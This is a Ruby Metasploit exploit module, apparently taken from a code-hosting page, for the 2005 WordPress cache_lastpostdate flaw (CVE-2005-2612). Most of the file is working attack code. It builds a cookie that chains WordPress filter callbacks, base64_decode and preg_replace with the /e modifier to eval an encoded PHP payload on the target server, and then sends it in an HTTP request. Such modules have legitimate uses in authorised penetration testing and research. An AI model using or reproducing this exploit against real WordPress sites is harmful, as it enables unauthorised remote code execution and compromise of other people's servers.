74 lines
2.4 KiB
Ruby
74 lines
2.4 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Unix::Webapp::Wordpress_LastPost_Execution < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
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'Description' => %q{
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This module exploits an arbitrary PHP code execution flaw in the WordPress
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blogging software. This vulnerability is only present when the PHP 'register_globals'
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option is enabled (common for hosting providers). All versions of WordPress prior to
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1.5.1.3 are affected.
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},
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'Authors' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3509 $',
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'References' =>
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[
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['OSVDB', '18672'],
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['CVE', '2005-2612'],
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['BID', '14533'],
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['MIL', '86'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Aug 9 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
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], self.class)
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end
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def exploit
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enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
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str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
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data =
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"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
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"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
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"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
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";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
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"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
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"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
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# Trigger the command execution bug
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res = send_request_cgi({
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'uri' => datastore['URI'],
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'cookie' => data
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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else
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print_status("No response from the server")
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end
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end
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end
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end
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